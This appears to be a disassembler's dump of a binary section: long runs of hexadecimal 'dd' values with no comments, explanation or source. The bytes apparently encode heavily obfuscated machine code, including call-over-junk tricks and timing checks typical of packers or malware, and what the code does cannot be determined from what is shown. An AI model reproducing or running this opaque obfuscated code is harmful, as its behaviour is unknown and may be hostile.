		dd 0B585890Dh, 6A07D331h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0B75E263Ah
		dd 6A006AFCh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0AC8FC357h, 9FE6F6A5h,	95FFFB8Bh
		dd 7D32F4Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	94C35747h, 5B9496BCh, 659D8BBDh, 8D07D31Fh, 0DC29B08Dh
		dd 0FE807h, 13D20000h, 80557767h, 0EBC4CB90h, 9C9F2F35h
		dd 5FFB8BBFh, 8509D1FFh, 7D313B5h, 3255BD83h, 0F0107D3h
		dd 9485h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0CBB28E71h, 1B9E2E9Eh, 0C7802AE6h
		dd 6A026ADEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D288C353h, 0D69A19C9h, 0C78166B2h
		dd 0BF90A5F1h, 5B7C0062h, 90B4B750h, 8E9h, 0F92BE500h
		dd 7FF55973h, 9995FF1Eh, 6A07D315h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9C59C351h
		dd 31C87411h, 0D31EADBDh, 0DD8E907h, 0E80000h, 5D000000h
		dd 0FC32ED81h, 850107DCh, 7D31B6Dh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 71C35141h, 8CBFC48Fh, 195C858Dh
		dd 6A07DCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 31B358C3h, 0D309A185h, 918D8907h,	5007D316h
		dd 3C103EBBh, 24048960h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 99C35040h, 0EFCA5D7Ch, 32A35720h, 0D9BD8B40h
		dd 2307D31Ch, 0D30A1D9Dh, 35FF6407h, 0
		dd 1999BD8Bh, 896407D3h, 25h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 3A0662F2h
		dd 0E15F99C2h, 0FA8BB5C6h, 2CCD85FFh, 0BF6607D3h, 0FF6A9A68h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 3EC35242h
		dd 9120E2Fh, 0EAF8BB17h, 0B5FF7CF9h, 7D31C0Dh, 0FFF8BF0Fh
		dd 0D3181995h, 117E907h, 85890000h, 7D3089Dh, 853100B0h
		dd 7D30379h, 0AE870E6h,	0B000000h, 0AD11679Dh, 494ECF8Ch
		dd 8D9D8BBCh, 5F07D309h, 8B6671E4h, 0F613CFAh, 0E483h
		dd 0ADBD8B00h, 0F07D30Dh, 0BAF5C8B6h, 6, 8E9h, 0A01D4500h
		dd 0FAC0CE87h, 8BC18B82h, 0D30145BDh, 0D99D8B07h, 0C107D301h
		dd 9D8B04E8h, 7D314A9h,	8BE2F766h, 0D3259D9Dh, 9C82B07h
		dd 0D31B7D95h, 8BD18B07h, 0CE9DFh, 9D8B0000h, 7D305F1h
		dd 2ED99D8Bh, 858B07D3h, 7D3121Dh, 9719D2Bh, 0C08307D3h
		dd 0E9605007h, 0Bh, 0C9482112h,	954DDFB7h, 0F59CEFB6h
		dd 0C0835B61h, 51858900h, 3B07D331h, 13830FD0h,	56000000h
		dd 3C99D89h, 0E95F07D3h, 49h, 13899D01h, 8D8B07D3h, 7D31755h
		dd 1EFD8501h, 0E18307D3h, 2E840F01h, 80000000h,	0A58333CFh
		dd 7D31755h, 119D29FEh,	8907D326h, 0D3121D95h, 8E907h
		dd 690F0000h, 618DCB97h, 0BD33CE9Ah, 7D32945h, 0E9h, 0ACB58D00h
		dd 6A07DC88h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 20B2C353h, 9E1AA6B0h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B9C9B2C3h, 9D033758h, 7D3302Dh, 301995FFh, 0BD8B07D3h
		dd 7D32F7Dh, 873B9h, 83A0B700h,	14E9FCE1h, 0
		dd 0EFDA336Bh, 37832D30h, 15FB7A18h, 39A92E03h,	0FEF15CFh
		dd 889h, 2810F00h, 8A000000h, 6AFCFDh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 21523EC3h
		dd 0B697AE08h, 6AC02Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 608308C3h, 9824D082h, 0C61BD8Bh
		dd 0BD2907D3h, 7D30151h, 0BD8BD22Bh, 7D31FA9h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 332DBD2Bh, 6A07D3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C29228C3h
		dd 0DEC3681h, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0E6C35646h, 0B70F12F3h, 41958BD9h, 6A07D329h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 3A08C356h, 8F0F6AF4h, 0
		dd 2BA18D8Bh, 880F07D3h, 6, 20B59D8Bh, 8B5007D3h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 91C35141h, 0CBDED948h, 9D9E585Ah
		dd 18C38050h, 6D9D8B5Fh, 0F07D314h, 68Fh, 0FD9D8B00h, 8307D31Ch
		dd 0D30891BDh, 840F0007h, 77h, 27219D03h, 0B807D3h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0E8E8C355h, 4DB18D8Dh, 6A07D3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 63FDCC3h
		dd 121DEF3Dh, 0BD898EB6h, 7D30185h, 6AE1FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 839F2AC3h
		dd 0D33311BDh, 840F0007h, 4A0h,	8305C380h, 0D33311BDh
		dd 840F0107h, 4ABh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F6C35545h, 0E056D950h, 17C7606Eh, 95B52958h
		dd 8307D30Ah, 0D33311BDh, 860F0307h, 43Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0EFC35040h, 89338349h
		dd 0D325C18Dh, 0E890F07h, 60000000h, 2A71B58Bh,	8D3307D3h
		dd 7D3169Dh, 850F6061h,	0Ah, 5E9h, 2B7CDF00h, 8C660E76h
		dd 80EFB3D9h, 9D8B04E1h, 7D32B09h, 840FC90Ah, 168h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2AC35747h, 10E9h
		dd 7296B200h, 8F4FD11Ch, 0D3E1C2B2h, 0F381C9EAh, 8D9D8B37h
		dd 8B07D301h, 0D314C185h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8975FB9Ah
		dd 0D31CC9B5h, 0F1853307h, 8B07D31Fh, 8B6690D9h, 0DE8A50D9h
		dd 0F9B70F90h, 0DF8B006Ah, 4E8h, 1F03FF00h, 0BF515600h
		dd 4464F3FDh, 50505B5Bh, 0E9310F52h, 6,	40C4C2E7h, 585A938Eh
		dd 424448Bh, 61605360h,	6652505Fh, 0F5374BEh, 61585A31h
		dd 5250008Bh, 0FDA8B66h, 0D3D9BB31h, 585A05D2h,	4244489h
		dd 0AE8h, 1016CE00h, 68DAE5Eh, 60A25B13h, 57B684BFh, 0F52507Ah
		dd 61585A31h, 9529585Bh, 7D32971h, 0F3816651h, 0FF5F87FBh
		dd 0D3198195h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 57FEF9ECh, 0FAB70F61h
		dd 68F0Fh, 95890000h, 7D317A1h,	4EC28589h, 13E907DCh, 92000000h
		dd 0B0665FE8h, 0E26A0BCCh, 0B1C8805Dh, 8003276Eh, 0CBE94A7Eh
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0C4F7C353h, 8AD4AE67h,	4EBA858Bh
		dd 6A07DCh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 1DD51BC3h, 13E8F0h, 59120000h, 0B8B37BB6h
		dd 31A406C4h, 23336241h, 0C31A7D78h, 28F78153h,	5B029013h
		dd 68D0Fh, 0BD8B0000h, 7D31245h, 1800C7h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 4B4D8DC3h, 36CF0412h, 8BD40112h, 0DC4EBEB5h,	89958907h
		dd 8B07D326h, 0D316FD85h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0F14443E4h
		dd 0D7811DBBh, 630BAC8Dh, 8BF80689h, 0D314C185h, 89FA8B07h
		dd 5E80446h, 7E000000h,	0B48736EAh, 14D5DB81h, 895F2ADFh
		dd 0D30EB58Dh, 14E99607h, 0F2000000h, 209C92EAh, 27BB337Ah
		dd 0EBB3FC46h, 0FD301F4Ah, 506FD3D4h, 8656BB66h, 0FFD98B96h
		dd 0DC4EBAB5h, 23BB6607h, 7D8D89D9h, 6807D324h,	0A80F997Ch
		dd 830F60h, 66000000h, 61B933BBh, 83240481h, 6A580F6Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0D7A9C356h, 1B357B0h, 0D326E195h,	81BD8907h
		dd 8D07D32Eh, 0DC4EC285h, 0D88B6607h, 0DE950h, 2ABC0000h
		dd 0BFEF6F76h, 5A3E041h, 897A3705h, 85312404h, 7D31515h
		dd 198195FFh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0E49242C3h, 0BD38D464h, 0F6493F3h
		dd 587h, 0DB816600h, 6A6104C1h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0C5BCC355h,	87833D92h
		dd 865DE0FBh, 0DE9h, 838EB000h,	5579A4CEh, 9A7ED92h, 85C7D252h
		dd 7D33311h, 3,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	6FC35545h, 31118589h, 6E907D3h,	0F2000000h, 6B6B980Ch
		dd 0C2BD83BCh, 7DC4Eh, 4F840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 36CEA5C3h
		dd 685B0103h, 6599D89h,	3DE907D3h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B0BC350h, 0D3331D9Dh, 0C305007h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 29C35242h, 0E13E019Ch, 6A9F77h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 83F931C3h, 0D33311BDh, 850F0307h, 3F4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 83C35242h, 0D550A274h
		dd 2F49BD8Bh, 0BD8307D3h, 7DC4EC2h, 0C1840F00h,	66000003h
		dd 0FF686EBBh, 0DC4EC2B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 3B6FC2E8h
		dd 6B54CF72h, 8D0FC457h, 0
		dd 25F995FFh, 8B0F07D3h, 6, 0D05B589h, 0B58B07D3h, 7DC4EB6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B8C35040h
		dd 0B1982215h, 14E9h, 7A6D2E00h, 43E152FEh, 0AE7559F3h
		dd 3C8108BAh, 88451482h, 106C725h, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 5609C352h, 0E1CC190h, 312B801h, 50DADB80h, 3489DA8Bh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0DC8A40AFh, 4EC2B5FFh, 0B70F07DCh, 9195FFD8h
		dd 8B07D315h, 0D32655BDh, 0B6B58B07h, 6A07DC4Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 46EAC357h, 17005B99h, 0C8BF661Bh, 259D8B60h,	8B07D30Ch
		dd 0D3031185h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 877578EBh, 1D15BD8Bh
		dd 868907D3h, 0C4h, 2830Fh, 59B70000h, 2941958Bh, 6A07D3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8376D7C3h, 9D2B04C2h, 7D31C81h, 6A205089h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 1F1CC352h, 81858D92h, 6A07DC61h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 35C352h
		dd 766A5761h, 0E99E47AFh, 0Fh, 0F595621Bh, 3A79F363h, 0B8D2514Bh
		dd 89BDF9CDh, 0B886h, 11E900h, 862A0000h, 4F01AF60h, 4B9B533Fh
		dd 0A21FEC90h, 6A95D0D9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 590DEA6Fh
		dd 9D890BBFh, 7D30CC9h,	0A5D9531h, 0B5FF07D3h, 7DC4EC2h
		dd 95FFDA8Bh, 7D31599h,	23818D89h, 509607D3h, 96D88B66h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2DC35343h
		dd 5FF98B52h, 4EC2B5FFh, 0DA8B07DCh, 302595FFh,	6A07D3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 452B81C3h, 0A4174325h, 0BBA585F0h, 55E71FEDh, 16E9BD83h
		dd 0F0007D3h, 4684h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0E3224E06h, 8B7EA564h
		dd 0D31BED9Dh, 19D8B07h, 9607D31Fh, 0F50FB8Bh, 0D8Fh, 52506000h
		dd 585A310Fh, 0ECEBA4BEh, 0FF96611Dh, 0DC4EC2B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 4D5ACE41h, 23720762h, 0FE8h,	27929700h, 0FC68E2F7h
		dd 0BB9F644Dh, 4BCA51F3h, 95FF5BF8h, 7D31215h, 3AD78166h
		dd 0C2B5FF02h, 5707DC4Eh, 5BDE8B66h, 324D95FFh,	0BD8B07D3h
		dd 7D30169h, 1341BD83h,	0F0207D3h, 2D84h, 11952900h, 8B07D332h
		dd 0D3347D85h, 15880F07h, 0E9000000h, 10h, 0CF6DB88h, 0BDA0F35Ch
		dd 113E312Bh, 655AB646h, 800000C6h, 85C73AF3h, 7D30651h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F6C35545h
		dd 0EEEC51BDh, 0BD03AFAAh, 7D32BD1h, 0FFF335E9h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0DF80AEC2h, 8BC18B12h, 0D315119Dh, 0B73FBF07h, 858D4067h
		dd 7D31C71h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	46C35646h, 8B263AA2h, 525050DEh, 0FDE8B66h, 89585A31h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 8EE6F7C3h, 0E5D38159h, 0BF7B3646h, 47C7551Bh
		dd 99B58957h, 5B07D319h, 8589006Ah, 7D32595h, 8956006Ah
		dd 0D301B99Dh, 858D5B07h, 7DD0C30h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 98C35141h, 27E80A02h, 0AC7CD2ADh
		dd 5C08300h, 0DFEF37BFh, 4895033h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0F0F00915h
		dd 8D448FF1h, 0B518D29h, 950107D3h, 7D31D8Dh, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 60C3A1C3h, 0B52EB7C2h, 0BE8C6h, 6EB50000h, 896510E3h
		dd 0CCF514F2h, 0F98B66DEh, 0F006A5Bh, 689h, 39958900h
		dd 0FF07D333h, 0D32F4D95h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0A9D1EEF5h
		dd 68E0F2Ah, 31000000h,	0D325C1BDh, 0B08D8D07h,	8007DC29h
		dd 0D1FF9FE3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	44C35343h, 3BC49BAEh, 6A0F2E31h, 3255BD83h, 0F0107D3h
		dd 9885h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0B2416102h, 9D8B4BB4h, 7D30F21h
		dd 9D8D8960h, 0BA07D31Ch, 0C8A9B81h, 81026A61h,	87CEDAD7h
		dd 0DA8A5036h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0C5D3C353h,	0A9779B0Fh
		dd 896C0FC0h, 0D323CD8Dh, 9995FF07h, 6A07D315h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0E0A6C356h, 5277BE5Eh, 46BF66E0h, 0F20E93Ah,	0E80000h
		dd 5D000000h, 0C3AED81h, 0EF8107DDh, 7741177Ah,	3CCBF381h
		dd 858D4189h, 7DC195Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 98C35545h, 0BD1E565Fh, 0D78A12C9h, 8B0Fh
		dd 66900000h, 8B50DE8Bh, 6A90D8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0CB185EC3h, 8E0F0A4Ch
		dd 6, 12899D33h, 0FF6407D3h, 35h, 898D0100h, 0BF07D323h
		dd 4C49490h, 258964h, 60000000h, 0FCBBF0Fh, 58Fh, 0F6816600h
		dd 2961E9EAh, 0D30DC1B5h, 0CD85FF07h, 6A07D32Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 5C2AC352h, 0ADC68931h, 81FF6ABBh, 28030AF7h,	0EDB5FF53h
		dd 6A07D326h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 5F06C355h, 391406B4h, 95FFDA8Bh
		dd 7D31819h, 0FBE9h, 0DE900h, 0C9AF0000h, 4E39761Ch, 0C2411193h
		dd 0B0A73D8Eh, 0FA8B6600h, 0DE9h, 69F3D300h, 2FBF9D53h
		dd 68286FF9h, 70E68882h, 395BD09h, 71E407D3h, 0C28B6660h
		dd 871B58Bh, 3C6107D3h,	0B5830F61h, 80000000h, 0B60F33F7h
		dd 0E08060C8h, 6BA615Eh, 89000000h, 0D329D19Dh,	0FC18B07h
		dd 8Ah,	4E8C100h, 0FE2F766h, 681h, 999D8B00h, 2B07D302h
		dd 0C3F381C8h, 8B6A71FDh, 9E9D1h, 0C0DF0000h, 13669025h
		dd 0E9C8C7BBh, 6, 765BD8Bh, 858B07D3h, 7D31485h, 83DBB70Fh
		dd 8B6607C0h, 0C083FBh,	2641B589h, 0D03B07D3h, 0F830Fh
		dd 9D8B0000h, 7D331F9h,	37E9h, 0BABB6600h, 0C98D8B88h
		dd 8B07D334h, 0D318BD9Dh, 1E18307h, 1E840Fh, 0FA8B0000h
		dd 34C9A583h, 89FE07D3h, 0D318D985h, 85958907h,	6607D314h
		dd 0E9ABC5BFh, 0
		dd 9305B58Dh, 6A07DCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 724121C3h, 49F4AFADh, 0BF1347EAh
		dd 28494456h, 1481BD89h, 6A07D3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 17C35646h, 3C117408h, 8C41B332h
		dd 10E923h, 26A0000h, 0CBFA9BB4h, 305E1AE6h, 6F3A2522h
		dd 8D89CAA3h, 7D32729h,	301995FFh, 6A07D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 456483C3h
		dd 133D22D8h, 0B9F93FF8h, 842h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 25C35343h, 428724CDh, 6667AAD6h
		dd 0E93D99BFh, 10h, 37D431A1h, 697B34B3h, 6B27868Bh, 0E8F518D8h
		dd 6AFCE183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 2757C355h, 0FC3C0222h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2CC35242h, 0FBC3C234h
		dd 89C02B3Ch, 0D32FADBDh, 1D22B07h, 0D319F985h,	0C233AD07h
		dd 0D003E8D1h, 7504E983h, 52006AF4h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 59ABDF65h
		dd 0D3DF803Dh, 0F358D09h, 8D2907D3h, 7D300F1h, 880Dh, 0DBBF0F00h
		dd 2941958Bh, 0FB8B07D3h, 2BA18D8Bh, 0FE907D3h,	38000000h
		dd 0B530C7B3h, 0B6B160A8h, 0FBB9EA63h, 8B508E22h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0E7C35646h,	3994BC32h, 81F4104Ch
		dd 53E97BF7h, 55006A6Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 13BA3BF7h, 7FE1B68Fh, 0FE8B66AAh
		dd 891BD83h, 0F0007D3h,	4F84h, 0CE900h,	43D00000h, 69540510h
		dd 8E9BE8BEh, 0B85434h,	8D000000h, 0D34DB18Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 14C3F5F5h, 5AE5F044h, 0E1FFFC8Ah, 60C5EB80h,	8319D01h
		dd 61FC07D3h, 3311BD83h, 0F0007D3h, 4A684h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 82D82538h, 11BD8398h, 107D333h, 494840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0FF44F1C3h, 2B6BD8A4h, 8BB79C17h, 11BD83F8h,	307D333h
		dd 42A860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0C5152DC3h, 880FDE8Bh, 6, 0D92EB81h
		dd 89602F0Eh, 0D309FD8Dh, 0D98C6607h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 85C35545h, 89377A5Ch, 0E5B5899Ch
		dd 8B07D325h, 0D314BD9Dh, 4E18007h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0FCC35242h,	3844BB66h, 840FC90Ah
		dd 1D4h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0E1C35343h, 0B072A28Eh,	0C1858BF8h, 6A07D314h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 6A46C355h, 5F51885Fh, 1FF18533h, 6A07D3h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 57428EC3h, 0D477E055h, 296ED1ADh, 0D325B9BDh, 0BB669007h
		dd 0E8505A56h, 13h, 6A6F0B8Fh, 8063943Eh, 509EF59Eh, 4DA1EFF1h
		dd 529003B7h, 8E8h, 983C5700h, 0BD2ACD7Bh, 5B5B5F7Dh, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 81AA76BFh, 0EA6556C7h, 6A006A33h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 89DEC350h
		dd 338DBD23h, 4E807D3h,	0FF000000h, 50001F03h, 0F310F52h
		dd 283h, 5AD98B00h, 52505058h, 0BE8h, 42AA6300h, 289700DBh
		dd 3453160h, 14A981BFh,	310F5B2Bh, 0F525060h, 61585A31h
		dd 448B585Ah, 8B0424h, 448981B7h, 52500424h, 66CB8A60h
		dd 0F61D88Bh, 8C0F5031h, 0
a_zxxj		db '_ZXXj',0
		dw 0E855h
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3C35545h, 7CAC9837h
		dd 0A1BC35E6h, 82CB8166h, 8195FFA0h, 6A07D319h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 9DCAC355h, 0DBA38E90h, 85890583h, 7DC4EC2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 14C35242h, 0DD5BD8Bh
		dd 53E907D3h, 0BF000001h, 5E3B1036h, 4EBA858Bh,	6A07DCh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 2A726CC3h, 86F04F6Ch, 0FF6398Eh, 0C7DFB7h, 18h, 78FCBF66h
		dd 4EBEB58Bh, 0BD0307DCh, 7D30979h, 1B659D8Bh, 858B07D3h
		dd 7D316FDh, 61D38B60h,	8BFC0689h, 0D314C185h, 810F07h
		dd 89000000h, 9D8B0446h, 7D30CA5h, 19699D2Bh, 0E89607D3h
		dd 0Dh,	1BC4FB6Bh, 2A9D74A4h, 804652Dh,	0F5250BBh, 5F585A31h
		dd 96D88B50h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	72C35141h, 4EBAB5FFh, 6A07DCh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 903950C3h
		dd 24EDD1AAh, 8A0Fh, 14680000h,	816E9B03h, 0EB2434h, 8D896E84h
		dd 7D31559h, 4EC2858Dh,	870F07DCh, 8, 858D3151h, 5F07D333h
		dd 50A9B390h, 3800Fh, 8B660000h, 6A90D9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E9E30FC3h
		dd 12h,	0BB8DD50Bh, 7CF37889h, 0A2C9F7Fh, 0F8DFFC92h, 95FFE22Bh
		dd 7D31981h, 77D8D89h, 0C76107D3h, 0D3331185h, 307h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8D89318Dh, 7D31BDDh,	3BD9D8Bh, 0BD8307D3h, 7DC4EC2h
		dd 39840F00h, 29000000h, 0D3311985h, 49E907h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 532A43C3h, 9589D9D4h, 7D305D1h, 0B5DBD03h, 0EEB307D3h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 6A9EC357h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 510BC357h, 3311BD83h
		dd 0F0307D3h, 54085h, 0A999BB00h, 0B5095938h, 7D305D9h
		dd 4EC2BD83h, 0F0007DCh, 52884h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0D9F4BF3Ch
		dd 9FFBB422h, 0FFF88B88h, 0DC4EC2B5h, 95FFF507h, 7D325F9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 27C35646h
		dd 8BFEB642h, 0D3190D9Dh, 0B6B58B07h, 0E807DC4Eh, 0Bh
		dd 0BC5DA64Dh, 6CB2A909h, 8A4DC077h, 9D8B5FFAh,	7D31C01h
		dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 462A6CC3h, 0FBA3CD9h, 8B60FAB7h
		dd 9B3DBBC7h, 89616D2Eh, 0D32055BDh, 8B539607h,	96505FDEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F5C35040h
		dd 670AEBF3h, 0FF0C8204h, 0DC4EC2B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
